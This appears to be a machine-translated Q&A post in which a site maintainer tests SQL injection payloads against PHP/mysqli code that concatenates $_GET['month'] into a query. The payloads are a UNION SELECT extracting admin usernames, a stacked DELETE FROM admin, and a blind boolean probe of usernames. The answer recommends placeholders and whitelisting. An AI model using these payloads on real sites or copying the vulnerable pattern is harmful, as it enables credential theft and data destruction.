一位开发人员刚刚在我维护的网站上引入了一个SQL注入漏洞,我想展示一下它是如何容易被利用的;但是有几个问题。
以SQL为例,大致如下:SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = $_GET['month']
ORDER BY
c.start
如果我将$_GET['month']
设置为:
13 UNION SELECT 1, username, 3 FROM admin
将运行查询:
SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
c.start
如果ORDER BY不包含c.
表别名,则可以工作。相反,它会导致错误:
Table 'c' from one of the SELECTs cannot be used in field list
<标题> 别名
为admin
添加c
ALIAS也没有影响:
13 UNION SELECT 1, c.username, 3 FROM admin AS c
<标题> 评论
我尝试使用--
注释掉ORDER BY,但这不起作用,因为它在新行上:
13 UNION SELECT 1, c.username, 3 FROM admin AS c --
同样/*
也不能工作,因为我不能添加最后的*/
:
13 UNION SELECT 1, c.username, 3 FROM admin AS c /*
<标题>分裂查询
似乎mysqli_prepare()
也不像;
在查询中的任何地方-所以DROP, DELETE或TRUNCATE会导致SQL语法错误:
13; DELETE FROM admin;
<标题> 解决方案
目前我唯一能想到的就是添加到WHERE子句中,这样攻击者就可以得到一个是/否响应(一些记录或没有记录),就像下面这样-但这比看到记录出现在屏幕上更令人满意:-)
SELECT
c.id,
c.name,
c.start_estimate
FROM
thr_course_term AS c
WHERE
MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
c.start_estimate;
<标题> 源代码
SQL在PHP中使用mysqli
运行,大致代码为:
<?php
$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']
$sql = 'SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = ' . $month . '
ORDER BY
c.start';
$link = mysqli_connect('localhost', 'username', 'password', 'database');
$statement = mysqli_prepare($link, $sql);
if (!$statement) {
echo $link->error;
} else {
// Skip the bind_param bit
$result = $statement->execute();
$result = $statement->get_result();
while ($row = mysqli_fetch_assoc($result)) {
print_r($row);
}
}
?>
标题>标题>标题>标题>标题>实际上演示任何利用技术都没有意义。
一方面,可能的攻击数量是无限的。你可以用例子淹没整个Stack Overflow。然而,它们都不会增加任何保护技术。你看,保护规则是简短而明确的。记住数百种可能的攻击来保护您的站点是没有意义的。你只需要学习一些规则:
- 所有的数据文字应该通过占位符添加。
- 所有其他查询部分必须列入白名单。
。
另一方面,要证明的危险,老Bobby Tables的例子就足够了。如果这个例子还不能说服你,我怀疑其他任何的利用例子都能做到这一点。